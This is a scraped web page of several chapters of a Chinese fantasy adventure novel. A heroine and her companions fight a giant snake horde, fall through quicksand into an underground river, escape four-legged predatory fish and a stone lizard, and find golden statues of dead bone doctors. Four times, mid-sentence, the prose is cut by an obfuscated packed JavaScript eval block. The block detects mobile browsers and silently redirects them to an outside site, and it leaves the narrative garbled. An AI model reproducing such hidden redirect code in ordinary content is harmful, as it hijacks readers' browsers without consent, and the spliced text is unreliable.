大蛇的头颈被鞭子束缚着,它挣扎了几下,长长的尾巴扫起一阵沙土无果后,勃然大怒——一股液体顺着蛇吞吐的黑信子喷出来,姜泠闪身一侧,避过了攻击,可沾染上一点零星毒液的衣服却迅速被腐蚀成了焦黑色。 大蛇体重不轻,姜泠只能拉着它的头与之僵持不下。闹了这么一出,本该离开的蛇群又重返此地,对其他人展开了攻击。至此,大蛇也懒得多挣扎,转而以一种极其扭曲且诡异的姿势翻了个身,然后一条尾巴直直扫过来,大有要把人拍上半空的势头。 攥着长鞭的人霎时觉得虎口一震,再抬头时已经躲闪不及,眼看着蛇尾直冲面门而来,却落入一个宽厚温暖的怀抱。长鞭脱手,她和抱着她的人贴着地滚了半圈,这才躲过了大蛇的攻击。 因为有人垫着,姜泠并没觉得硬邦邦的沙石带来疼痛。她从地上站起来,看见凌岓正捏着胳膊冲她笑。 “没事儿吧?”他问。 “没事。”她答。 大蛇挣脱了长鞭,又一次直冲两人而来。姜泠有些担心地看了一眼凌岓的胳膊,从腰间抽出一把弯刀挡在了他面前。 师父留下的银柄弯刀本属于计枵,古城沉陷以后,弯刀也和原来的主人一同被埋葬了。现在这把刀是姜泠失忆时,岳青罗送给她的礼物。虽然形状上仍是月牙弯刀,可用起来却比原来那把更顺手,刀刃本身也更锋利。 陈青云目瞪口呆地看着发生在眼前的一幕,心里除了震惊就只剩下崇拜了——姜泠原本整个人都被大蛇裹住了,可最后却是大蛇被斩成了几段散落在沙地之上,斩蛇的人一身黑血,散落的长发被风吹起,仿佛刚在战场上厮杀赢的女将军。 “我去,好帅!”帅只是一种特质,在陈青云眼里可以不分男女地适用。她现在很想抱一下姜泠,但后者很快又去帮其他人解围了,她只好先继续猫着。 “当心!别被它的毒液喷到!”姜泠手起刀落斩下蛇头,老郑这才发觉自己刚刚差点被偷袭了。 “多谢!”老郑点了点头,转身去帮卫斯诚。 别的不说,对于骨医的战斗力,大家都是实打实服气的。换上匕首的姜泠仿佛换了个人——温和全然消失,她在蛇群里穿梭,蛇血不断在她身边溅起,仿佛罗刹转世。 蛇群并非完全只有莽撞,眼见两条腿的动物斩杀了自己的许多同类,剩余的蛇也渐渐踌躇着停止攻击。 五个人背靠背围成一圈,虎视眈眈的蛇群吐着信子在周围来回游走,就在双方都不确定要不要动手时,新的变数出现了——一条近□□米长的人面蟒从蛇群中钻了出来,它昂着头,金黄色的竖瞳向下一瞥,丝毫没把这些人放在心上。 这条人面蟒大约在蛇群中很有威信,它一出现,其他小蛇便都退到了一旁。 “我滴个乖乖,蛇王啊?”立起脖子的巨蟒远比人类更高,卫斯诚仰头看着那双黄金竖瞳,清晰地听到了自己的心跳声,“这下完了,跑也跑不掉了。看看这体型,它一口能把我们五个全吃了!” “关键是,这也没处可逃。”老郑的余光瞥到了后面的平房,灵光一闪,“我们能不能进老乡家里躲一…” 话还没说完,人已经傻眼了——老乡家的房子原地消失,身后不知何时变成了一片茫茫沙地。 巨蟒大口一张,一具裹着它口水的尸体被扔到了地上,众人一看,也不知是哪位运气极差的过路人被巨蟒吞进了肚子,现下此人已经面目全非,能勉强辨认出对方是个人都算不错了。 “妈的,这也太惨了吧!”老郑不忍再看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906946|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二眼,却隐约有种自己也会落得一样下场的预感。 “说这些有啥用,我们还是想想怎么办吧!”陈青云缩在姜泠身后,甚至不敢和巨蟒对视。 巨蟒鼓起脖子,朝着几个大活人的方向哈了口气,周围的蛇群当即便将他们围了起来,里三层外三层,丝毫不给包围圈中众人跑路的机会。 这还不算完——人面蟒的竖瞳突然变成了白色;紧接着,蛇身中竟又生出了四只人手一样的器官;蛇尾分裂成两半,在一行人的注视下“进化”成了两条腿。 就在此时,早已被巨蟒绞得粉身碎骨的陌生人突然直挺挺坐了起来,用手把自己的脖子掰正了方向。几个人只听见骨头复位时“咔咔”的响声,没看见背对着自己的人此刻是何种狰狞的表情。 “诈诈诈…诈尸了!”陈青云捂着嘴,努力不让自己叫出声。一人一蛇她都怕,但相比之下,她更怕惊动了两者中的任意一个会让自己和同伴死无葬身之地。 “这还跑个鬼啊!”老郑目瞪口呆,“等死吧!现在只求它们给我个痛快,别折磨我。” 话音刚落,那人猛然转头,一张变形的脸正对着身后的同类,脸上半边皮肤都没了。他似乎很想扯出一个笑来,可是嘴角一用力,就有新的面部组织往下掉。 巨蟒似乎也看到了这一幕,盘起长长的身躯观望。 半边脸费了很大的力气才把双腿接好,他颤颤巍巍站起来,伸出一只软绵绵的手朝五人走来。 “我靠,大哥你别过来啊!”——半边脸步步向前,他的同类步步后退。 “他的手?”凌岓最先发现不对,迟疑着问。 “他在给我们指方向?” 姜泠紧随其后发现了端倪——半边脸的手虽说软绵绵地耷拉着,可他的食指却以一种很奇怪的姿势指向众人的斜后方。 “能信吗?” “死马当成活马医吧。”骨医的弯刀刀刃向外,已经做好了杀出一条血路的准备。 “我打头,你殿后。”凌岓摸出了她的意图,不动声色地往前跨了一步,把人保护在自己身后。 卫斯诚惯会察言观色,一见两个人的样子就知道自己该做什么了。他同老郑耳语了几句,后者点点头,缓缓绕到了队伍最后。 大约退到原来房子所在的地方时,一道火焰从老郑手中燃起,继而火焰变成火球,直直扑向巨蟒。巨蟒躲避的同时,东南方向的蛇群包围圈被破开了一道口子,只听凌岓大吼一声“快跑!”,几个人便什么都顾不得,一个劲跟着往缺口方向冲。 巨蟒恼羞成怒,从口中喷出蛇液,领着蛇群在后面追。追了好一阵,巨蟒突然停下了,它吐着信子定定看着人类跑的方向,感觉到了危险。 待到最后的老郑反应过来蛇群不再继续追着他们时已经为时太晚了,他刚想张嘴喊同伴等一等,却一脚踩空陷进了沙地。 “是流沙!”老郑心里暗道不妙,竭力维持身体的平衡却依旧于事无补。 细沙从耳朵、鼻子和嘴巴里灌进来,老郑憋了一会儿后,只觉得自己呼吸一窒,随后便眼前一黑晕了过去。 83. 第八十三章 四足怪鱼 粗细不一的沙块堵住了喉咙,耳朵和鼻腔里全都是沙子。迷糊间,老郑似乎听到附近传来了水声,他想摸索着站起来,却只是徒劳无功。那水声渐近又渐远,让老郑也分不清这究竟是幻境还是现实,是生的希望还是死前的幻想。 意识疯狂下坠,全身上下知觉全无,耳边的声音也渐渐消失了,就在老郑以为自己要与人世告别时,听觉又重新回到了他的身体里。 “郑九斤!郑九斤!”——好像是之胖的声音。 “老郑,老郑醒醒!”——又好像是凌岓的声音。 “要不要加大剂量?”耳边的声音说。 “不用,他一会儿就能醒过来。” …… 不知又过了多久,鼻腔和喉咙里那一堆苦涩又噎人的异物感消失了,意识回笼,老郑慢慢清醒过来。 “哎!醒了醒了!”这次说话的是陈青云,她的头发乱糟糟的,看起来很是狼狈。 “水…”老郑动了动嘴。 “你说什么?” “他说要水。”卫斯诚手里捏着一个瓶子,他一点一点喂给刚清醒的人,小声问,“感觉怎么样?好点了吗?” “这是哪?”喉咙里的沙子被清出去没多久,老郑说话的声音还是沙哑的。 “不知道,可能是什么地下城吧。”由于古城里的经历实在过于糟糕,卫斯诚十分抵触这种地方。 “大家都还好吗?”喝过水,郑九斤长长呼出一口气,总算觉得舒服一点了。 “都好都好,就你不好。” 正说着,姜泠那张冷如冰山的脸出现在老郑视线范围内。除了衣服上沾了点沙土,她浑身上下没有半点劫后余生的慌乱痕迹。 “醒了就好,再休息会儿我们就走。” “去哪儿?”卫斯诚替老郑问出了想说的话。 “我们找到了地下河,顺着河水往前走,应该会有出口。” “那万一要是没有出口怎么办?”陈青云问。 “等死。”骨医回答得干脆利落。 “凌岓呢?”老郑四处找了一遍,发现少了一个人,“他去哪儿了?” “他在地下河那儿等我们。” “那就别休息了,快走吧。”说完,老郑扶着卫斯诚站起来,然后喘了好半天气,“你俩真是!在这种不熟悉的地方怎么能分头行动呢?只要有一个人遇到危险,那到时候后悔都来不及了!” 闻言,姜泠挑了挑眉,没说话。卫斯诚反复确认老郑的身体状况能继续前行后,才扶着他一同前往地下河的位置。 郑九斤昏迷时听到的并非幻觉——越往前走,越能听到河水流淌的声音,只是这声音中还夹杂着别的东西。他说不上来是什么,但直觉告诉他,这种异响或许来自隐藏在地下河中的某种生物。 河水的流速很快,凌岓正蹲在河岸边往里面扔石头,不管石头有多大,只要投进河水,那便连一点水花都没有就消失了。 “哥,看什么呢?”卫斯诚看了看眼前的水流,什么都没发现。 “没什么。”凌岓站起身问,“老郑怎么样了?” “我没事!”不远处的人听见问候,挥了挥手。 “没事就好,怎么没多休息会儿?” “怕你单独行动会有危险。”老郑凑过来回道,却好像看到好友脸上闪过一丝不自然。 “没,没危险。”凌岓很快又神色如常,“那我们顺着河往前走吧,或者再休息会儿?” “不休息了,走吧…” 话音刚落,河水中突然出现一个巨大的水泡,水泡浮起又破碎,叫人怀疑自己是不是眼花看错了。 “是大鱼吧?”卫斯诚自我安慰道。 “是大鱼,我们快走吧。”凌岓扶着老郑,语气中有一丝不易察觉的着急,也不再说继续休息之类的话了。 陈青云站在旁边不肯走,好奇心驱使,她想要看看是什么样的大鱼在水下。 “此地不宜久留,别看了,快走!”姜泠的命令不容置喙,不想走也得走。 一行人刚迈出脚不到十步,河水便沸腾了起来。水面上冒出了许多细密的小气泡,紧接着,小气泡消散,一个又一个西瓜大的水泡浮了上来。 “走,退回去。”姜泠果断推着同伴往来时的路上走,但已为时过晚。 一个巨大的黑影从水面上跃起,直直扑上了河岸。众人只看见黑影长了四条腿,还没来得及细细观察,黑影就跳向了他们的方向。 “闪开!” 多亏卫斯诚顺手拽过傻眼的陈青云,后者才能幸免于黑影的攻击。 黑影体型不小,它转身,基本上把来时的窄路堵得严严实实。 先前和蛇阵的一场恶战已经消耗了大半体力,再加上呛了沙子,现在别说战斗力,老郑连站都有些站不稳。凌岓把他挡在自己身后,顺便用余光寻找别的出路。 也正是僵持不下的这段时间,几个人才看清面前这庞然大物的长相—— 这是一条长着四条腿的大鱼。身上没有鱼鳞,背上长着船帆一样的鱼鳍;青蓝色的鱼头平扁,吻部却尖长。用足趾撑在地上时,叉形尾巴还在左右摆动。它张开大嘴,露出两排大小不一的剑状齿——不用多说,被它咬一口一定不会有好滋味。 “这什么鬼东西!”卫斯诚又一次被丑到了,“比上次见到的大鳇鱼还难看!” “这长得有点像枪蜥鱼,但应该不是。”陈青云不确定,仔仔细细把大鱼打量了好几遍,“枪蜥鱼没有四只脚,而且它是深海鱼,不可能出现在内陆地下河。” “你说的又是什么?”老郑小声问。 “一种深海鱼,以前在西沙自由潜的时候见到过。这种鱼可凶了,典型的海洋肉食动物。” “它不会吃人吧…”卫斯诚听见“肉食动物”四个字,头皮发麻。 “应该不…这个应该不是枪蜥鱼,这可能是什么浅水鱼,只是长得像而已。但是你看它这个体型,说不准真会吃人呢?” “我靠——”话还没听完,卫斯诚已经听见水里传来“咕嘟咕嘟”的声音了。 和岸上这条长相一样的大鱼从水下纷纷跃上岸,虎视眈眈包围了五个大活人。它们许久没有尝到新鲜的肉了,河底的小鱼小虾吃起来不过瘾,难得碰到这么大体型的“食物”,绝没有轻易放过的道理。 “我感觉…大事不妙啊!”老郑转了转胳膊,准备迎接又一场恶战。 “我看,它们大概率把我们当成今天的夜宵了。”—— 两边和正前方的路都被大鱼挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918790|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了,现在唯一的办法就是像冲破蛇群那样先打开一个缺口。凌岓打算跟姜泠商量好,然后配合行动,后者却已经先一步靠近他身边。 “跳河!”她说,“我观察过了,它们中的大部分都在岸上,目前只有跳下去能有条生路。老郑摔下来的时候受了伤,硬碰硬肯定打不过。 “不行,这条河的流速太快了。跳下去大概率会被直接冲走,如果撞到河里的暗礁,那更是死路一条。” 大鱼似乎没有攻击人的意思,它们更想耗着,等对方主动出击再扑上去把人分食掉。晚上吃的那点东西早在和蛇群打完就消耗得差不多了,两相对比,当然还是人的处境更糟糕。 “那你还有更好的办法吗?”姜泠盯着周围的四足鱼,向身边人发问。 “像刚才一样,先打开一个缺口,然后再逃。” “你确定?”—— 这些怪鱼中最小的个体都有成年男性的三四倍大,就算五个人合力攻击其中一条都稍显费劲,要想在这样的包围圈中打开一个缺口,那更是属于难上加难。 “我插句话啊。”老郑冷不丁开口道,“就我个人而言,我宁可淹死也不想被它们嚼巴嚼巴连个全尸都留不下。” “看到了吗?是不是要听听群众的声音?” “行吧。”人在无奈至极的时候会笑出来,凌岓现在就是这样。 “对了,你那个青梅妹妹会水吗?”问题问得很有必要,但问问题的语气却有点酸。 “会。她高中是我们学校游泳队的,游得超快。”男人如实回答。 “那就好。通知一下吧。”话头一顿,姜泠笑眯眯地看向身边人,“你记性真好,连人家高中时候的事情都记那么清楚。” “啊?”凌岓猛然反应过来什么,刚想解释,对方却已经向着卫斯诚的方向靠近了。 他心中窃喜,脸上却故作严肃,小声说,“不是你问我答吗…” 长相再奇怪也还是鱼,如果它们跟着下水,生还几率只会更小,所以在跳河前得先想办法把鱼群引开。每到这个时候,卫斯诚总能给人惊喜,现在也不例外—— 他从自己包里翻出几根长木条,兴冲冲地说,“我在老乡家拿的,是不是很未雨绸缪!” “你还真是…”陈青云看傻了,又问,“你拿这个干嘛?” “我本来是怕回去没路灯,手机再没电,这个就能当火把用。” “你可真是个天才。”老郑这句话是肺腑之言。 “大天才,把这个给我,等它们围攻我的时候你们就往里跳。”天才的师姐伸出手,语气平和。 “这回换我去。”凌岓突然开口,接过了木条,摆摆手,“水底下见。” 现在也并非多争执的时候,这些大鱼明显有些耐不住性子准备试探着发起攻击了。姜泠人往河边走,眼神却控制不住在反向而行的背影上徘徊。 火光就像一道信号,它亮起来的时候,鱼群按耐不住扑向“猎物”,另一边的人则是鼓足勇气跳进了急流中。 出乎意料,被急流冲走或被暗礁撞到头破血流的预想并没有发生,水下的世界和表面上看起来完全不同——水面上的波流急速奔涌,水下的流速却十分缓慢,两者之间并无明显分界限,却分明已是两个世界。 84. 第八十四章 均匀地吐着气往下潜,水下人有了新发现——乱流之下的平静也仅仅是一条河的第二层,与河岸平行往前游,平静的水下突然出现两股深深的漩涡。漩涡周围既没有石块,也没有其他游鱼之类的生物,到达此处的人还没来得及想办法掉头,就已经被卷进了漩涡之中。 这个时候,任何有意识的对抗都是愚蠢行为,卫斯诚只好放松全身,任由自己在漩涡中搅动着。 漩涡里的流速要比周围的水流快许多倍,人置身其中,犹如被塞进了滚筒洗衣机。最难受的是,在这种条件下,人既要闭气不让自己呛水,又要忍着吐不出来的恶心保持意识清醒,实在难熬。 又不知过了多久,就在卫斯诚快要憋晕的时候,他被一股巨大的推力扔到了平地上,地上的土质松软,人摔下来也没有什么大碍。最值得庆幸的是,这里似乎已经与地下河隔绝,人可以畅快地呼吸,行动也不必受水流的拘束。 “呕——”在漩涡里的那种恶心感还没过去,卫斯诚干呕了两声,继而感觉到有人在身后轻轻拍着自己的背。 他本以为是姜泠,结果却猜错了——“怎么样?现在觉得好点了吧?”——是凌岓,他竟然也来到了这里。 “那些鱼呢?没追过来吧?”卫斯诚顺了顺气,问出自己最关心的问题。 “没追过来,它们追到水下以后就不追了。”凌岓一边回答他一边环顾四周,“你姐他们呢?” 闻言,卫斯诚刚想问大家是不是走散了,就听见老郑的长吁短叹:“这活了小半辈子,我还没遇到过这么不顺的时候。” “这是哪儿?我们逃出来了吗?”是陈青云,光听声音就能猜到她应该也没受伤。 “不好说。先和他们汇合。”姜泠本人和她的声音一同出现在卫斯诚眼前,看来几个人都被卷进了同样的漩涡。 凌岓把大鱼追到一半就转身跑了的事情复述了一遍,不知该庆幸自己好运,还是该庆幸这些怪鱼对他网开一面。 姜泠听完,若有所思,对众人说,“不对劲。它们是水陆两栖的鱼,按理来说应该不会轻易放过我们。除非……” “除非什么?”另外四人异口同声问。 “除非水下除了它们,还有别的东西。这个东西足以威胁到它们,所以它们宁可放弃到手的食物也不愿意追过来。” 这句话听起来怪吓人的,老郑打了个冷颤,总觉得身后有几百双眼睛正盯着自己。 “额,不至于那么倒霉吧。”卫斯诚试图乐观,“说不定我们是真的逃出来了呢?” “这个说法在理论上也成立,但可能性微乎其微。”姜泠兜头泼下一盆冷水,“下来的时候我认真观察过,距离漩涡还有一段距离的时候就没有鱼虾之类的生物了。你再看看这个环境,像是逃出来了的样子吗?” 经她提醒,众人这才细细打量起四周的环境。 这里有点像山洞,周围四处都是光滑的石壁。石壁上长着许多密密麻麻的小孔,偶尔也会有大的洞穴映入眼帘,但大的洞穴不多,加起来统共不到五个。 “也是,哪个正经地方长这副鬼样子。”陈青云颓丧起来,苦着张脸问,“我们会不会出不去了?这地方又冷又没吃的,我不想被困死在这儿。” “不会的,我们肯定能出去。”姜泠突然化身知心姐姐,把自己的外套递给了陈青云,“你跟紧我们别乱跑,一定能出去的。” 陈青云颇为感激地看向对面的姑娘,十分郑重地点了点头。先前的微妙气氛大变,老郑有点摸不着头脑。但当务之急是先找到逃生之法,这些事情也可以不探究。 “我有一计。”卫斯诚举手,用一副胸有成竹的语气道,“现在,只有一条路,那就是探洞!” “我赞成。”凌岓点点头,“除此以外似乎别无他法。” 四个石洞,有两个等距离分布在左右两侧。另外两个一前一后,后面的那个还要让人多走一段路,于是几个人选来选去决定优先去离自己最近的、位于正前方的洞穴。 没想到歪打正着选了个准,正前方的石洞里面果然别有洞天。 初到洞口时,里面吹出来一阵阴森森的冷风,直把人吹得头脑发麻。但一进洞,那股寒意顿时便消失了,而且越往洞的深处走,人越能感觉到温度在升高。 石洞宽而长,人走了好一阵也没走到尽头。洞里的温度攀升得愈发迅速,叫人不得不把外面的衣服脱下来。 走在最前面的凌岓猛然刹住了脚步,跟在他身后的老郑也随之一顿,警惕道,“怎么?有情况?” “这儿好像有堵墙。” “墙?哪有墙?你出现幻觉了?”老郑往前走了两步,什么都没看到。 “好像是有堵墙。” 卫斯诚也走上前去凑热闹,他隐隐觉得面前有点什么挡住了去路,他调高手机屏幕的亮度,发现眼前的确有一堵墙。 这堵墙是透明的,乍一看的确让人难发现,光束照过去才能看得清它的存在。墙上偶尔会产生一点起伏的透明波纹,直到这时才有人反应过来,这是一面水墙。 凌岓试着触碰这堵墙,发现并不能直接穿过它。墙面上的水流虽然柔软,却很有韧性,用力一推明显能感受到阻力。与此同时,水墙的墙面也是热的,手在上面放久了还会觉得隐隐发烫。 “要么回去换个洞走,要么想办法从这面墙里穿过去。”抽回手以后,凌岓更倾向于后一个选择,不知为什么,他总觉得这面水墙是可以被打开的。 “都走到这儿了,我不想再回去了。”陈青云席地坐下,用手撑着头,“想想办法穿过去吧,要不然一热一冷肯定要感冒的。” “水墙。”姜泠也伸手触摸眼前的透明障碍,一股莫名其妙的熟悉感油然而生。 她在记忆里搜寻着,试图找到一点有关这里的线索,但无果。心里有个不属于自己的声音响起,催促着她把自己脖子上的一颗金荼蘼吊坠取下来。 这个吊坠自小一直陪伴着姜泠,据殷漠说,是她父母留给她的。吊坠本身并不精巧,也不曾听说它有玉玦那样神奇的用处,姜泠习惯于把它挂在脖子上,平时也从不示人,从来没想到有一天会派上用场。 卫斯诚满脸不解地看着师姐把金吊坠伸向水墙,随后,不解变为惊疑——水墙在顷刻间分崩离析,热流四溅,打湿了附近人的衣服和头发。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930443|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是什么原理?”老郑擦了擦脸上的水,目瞪口呆。 “不知道。”击破水墙的人淡定地摇了摇头,“我只是觉得,我好像来过这里。” “什么时候?”卫斯诚问。 “不太确定,只是觉得有点熟悉。”姜泠拧干了袖子上的水,“走吧,往前看看还有什么。” 穿过水墙后,路突然变得狭窄了起来,两侧的石壁越离越近,让走在其中的人颇感压抑。没过多久,几人似乎走到了路的尽头,只见面前被一块黑漆漆的巨石堵着,看上去没有别的出路。 “得,还是要退回去重新走。”老郑说,“这地方也真是古怪,先来一堵水墙挡着,结果里面什么都没有,虚晃一枪。” 平平无奇的一句话却仿佛触发了什么隐藏的机关,老郑刚说完,众人面前的巨石就开始慢慢转动起来。它发出奇怪的声音,那声音绝不是石头和地面正常接触时发出来的摩擦声。 “这声音可真难听。”陈青云用手捂着耳朵,丝毫没察觉到危险将至。 凌岓早些年当兵的时候曾执行过保护地质勘探专家进山勘测的任务,对山里那些蛇虫鼠蚁,他虽然说不上熟识,可也还是有所了解的。经验使然,他直觉这不是一块石头那么简单。 “快走快走,往后退,小声往后退。” “发现什么了?”姜泠按照同伴的话往后撤步。 “不是发现,是直觉。我觉得这可能是个活物,指不定就是你说的能让那些怪鱼恐惧的东西。” 姜泠点点头,往回走的步子更快了点,“那是该先到安全地带看看情况。” 怪声越来越响,催着人从快步走变成一路小跑。快回到水墙处时,怪声戛然而止,不等众人提着的心落下去,两侧的石壁就在震耳欲聋的巨响声中被崩碎了。 碎石紧紧擦着脸飞过,陈青云的尖叫声被石块崩碎时的粉尘和轰鸣淹没。姜泠离她最近,没注意身后凌岓的动作,只顾着把她保护在自己身下趴在地上,总算不至于受重伤。 另外三人的反应也不慢,在周围慢慢归于平静后,他们才灰头土脸地从各自藏身的地方露头。 “姜泠,没事吧?” 耳朵里嗡嗡作响,姜泠只能看到对方关切的眼神和不停翕动的嘴,她什么都听不见,于是大声问,“什么?” “没事就好。”凌岓早就万分紧张地把姑娘上上下下打量了一遍,在确定她没受伤没流血后安下心来。 石块迸裂的时候,姜泠一双手都在忙着保护陈青云,于是没空捂住自己的耳朵。巨响带来的耳鸣仍在持续中,她不仅听不见别人说话的声音,也听不见自己说话的声音。看见卫斯诚身后突然冒出的一双眼睛,她下意识向前一步把他拽了个踉跄。 “这又是什么东西……”—— 一条黑眼石鳞的巨型海蜥正趴在卫斯诚方才藏身的悬石后面。它的鳞片正是路尽头巨石的花纹,背部隆起的角刺又尖又利,足以把人扎成筛子。 经过这几遭折腾以后,老郑已经对一切平时见不到的“怪物”见怪不怪了,他十分淡定地与新出现的庞然大物对视,心里暗自盘算着回去以后要不要去找个大师给自己去去霉运。 85. 第八十五章 石鳞海蜥一甩尾巴,它后面的石林便被剃成了“秃头”。 “跑是跑不掉了,硬扛吧。”老郑活动活动筋骨,准备和眼前的大家伙打一场恶战。 然而,石蜥似乎并没有攻击这些人的意思,它只是体型有点大,每挪动一点就会有一大片地方被破坏。它像黑豆一样圆的眼睛十分好奇地打量着面前的生物,没过多久,石蜥便在又一阵翻腾中退回了原处。 这很让人意外,意外到几乎所有人都哑口无言。 半晌,凌岓问,“我们这算安全了?” “可能吧。”姜泠也摸不准这条巨蜥的想法,犹豫着回答他,“反正现在洞也没了,我们还要不要继续往前走了?” “走呗,都到这儿了还怕啥。”老郑充分发扬自己现在的“大无畏精神”。 “好像只有这一条活路可走了。”卫斯诚附和着,戳了戳身边的陈青云,“陈大小姐,您能行吗?” “走呗,谁怕谁啊。”陈青云扬起下巴,好像也没有先前那么胆小了。 石蜥蜷起尾巴,趴在一片狼籍中。它看见刚才的几人又一次出现在视线中,只一动不动眨了眨眼,默许他们从自己身边走过。 再往前走是一堵石门,石门上的花纹并不复杂——一朵并蒂莲。花心处有一个锁孔,锁孔上斜插着把钥匙,这也免去了几人再四处找机关和钥匙开门的烦恼。 “等等!”这几次经历让人变得疑神疑鬼,卫斯诚拦住想走上前开门的人,一脸严肃,“小心有诈!” “有就有吧,早死早超生。”凌岓不以为意,毅然伸手把钥匙塞进了锁孔。 钥匙转动,锁孔里发出“咔哒”一声——石门向两边打开了。 水墙,又是水墙,水墙下的路也是透明又柔软的水路。一眼看去,石门里面与其说是一个石室,倒不如说是一个专供收藏用的秘密基地。 这里的墙与先前的水墙并不同,它不是单纯的透明墙,其中放置着一个个雕塑一样的东西,看上去更像是某种收藏展示柜。 凌岓站在其中一个人形雕塑前仔细端详,越看越觉得奇怪:这些雕塑的工艺极好,每一处细节都和真实的人别无二致,连人脸上的皱纹都能看得一清二楚。除此以外,只从颜色和质地上来看的话,它们似乎全是用黄金浇铸成的。 石室面积很大,两侧的水墙之后还有更多放着金雕塑的墙,他摇摇头觉得不可能——如果这些是真黄金,且不论要花多少钱,光是耗费的时间和精力就不可估量。 这些金人动作相异,神情也各不相同,有的紧闭双眼皱着眉,有的撇着嘴流泪。老郑看着这些货真价实的“金眼泪”,心里生出了别的念头。 “姐,你快来看!”卫斯诚猫在水墙背面,他刚刚有了一个重大发现。 背面的墙上也全是金人雕塑,这些雕塑有男有女,最里面的那一尊最特殊——它还没浇铸完,现在只能看到一双腿和人的头脸。 “姐姐,你看这人像谁?” “像师父。” 这下卫斯诚对自己是不是认错人了的怀疑彻底被打消了,他说不清楚自己现在究竟是什么心情,一半忐忑一半疑惑地问,“师父的脸怎么会出现在这儿?难道他已经伟大到要用金子给他造个雕塑的程度了?” “不仅有你师父,还有我们的老熟人呢。”凌岓从背后突然冒出来,吓人一跳。 “老熟人?哪一位?” “我们仨都认识的。” “老洪还是之胖?”卫斯诚第一反应就是这俩人。 “那必然不可能,再想想。” “计枵?” 骨医一猜即中,只是凌岓肯定的答案却反而让人心里蒙上了一层阴翳。 殷漠塑像的不远处就是计枵,他跪在一块钉子一样的巨石前,脖颈处泛着诡异的红光,怀里还抱着一只眼熟的盒子。 “镇山石?”姜泠被眼前的塑像惊出了一身冷汗,她疾步往前走,在另一座塑像前停下脚步,心中的猜测已经大致被证实了。 陈青云没发现这塑像有什么不同之处,对眼前人的表现更是不解,她问,“这座雕像有哪里不一样吗?” “这个人也好眼熟。”卫斯诚搜肠刮肚老半天,愣是没想起来在哪见过这塑像上的人。 “何照渠。” 姜泠一开口,古画里的记忆便被唤醒了。凌岓若有所思地盯着前后三位他们“认识”的人,心里也有了判断。 “这儿的雕像是不是全都是你的前辈?”他问得委婉,姜泠之外的人却听得云里雾里。 “什么前辈?”卫斯诚总觉得答案呼之欲出,可自己的脑子早已经转不动了。 “你说的对,他们都是骨医。更确切地说,他们都是已经死了的骨医。”姜泠直截了当地回答,“而且如果我没猜错的话,这些雕像十有八九记录的是他们濒死时候的姿势。” “这从哪看出来的?”老郑问。 “计枵死在镇山石边上。无论是塑像上的盒子,还是那块镇山石都和古城里的一模一样。” “那你师父?”凌岓想起那尊浇铸了一半的塑像,隐约有种不祥的预感。、 “或许他现在正处于危险中,离死可能只差几步。”这句话就好像在描述不相关的人,说话的人心里掀起惊涛骇浪,面上却依旧一脸平静。 “那那那那那……那怎么办?”如果说来之前卫斯诚对师父还或多或少有所埋怨的话,现在便也被占据上风的担心替代了。 “先出去再说。” 进来的时候只顾着看两侧的水墙,还没有人注意自己的头顶。凌岓不经意向上一瞥,意外发现头上不再是嶙峋的钟乳石了——头顶是平整的天花板,上面镂刻着许多花纹。 光照上去一看,顶部的花纹是这三人再熟悉不过的了——飞龙、巨鸟、人面、昙花——这些都是那栋阴幛小楼一层柱子上的花纹。本来众人以为计枵已死,阴幛里的一切也会随之烟消云散,可这些图案现如今猝然出现在这里,着实让事情变得更加扑朔迷离起来。 “难道说还是像之前那样找到机关就行?”卫斯诚说完又直摇头,“也不对,万一再跑到哪个古城或者陷阱里怎么办?” “不对,这里的花纹和阴幛里的不一样。”姜泠指着头顶上的图案说,“你们看,有差别。” “差别…在哪?”卫斯诚记不太清阴幛里的花纹具体是什么样子,他只大概记得这四样东西自己曾见过。 “是不一样。”好在凌岓记性还不错,他向同伴解释道,“这里的龙没有龙爪;人脸上少了只眼睛;鸟的翅膀露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945721|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 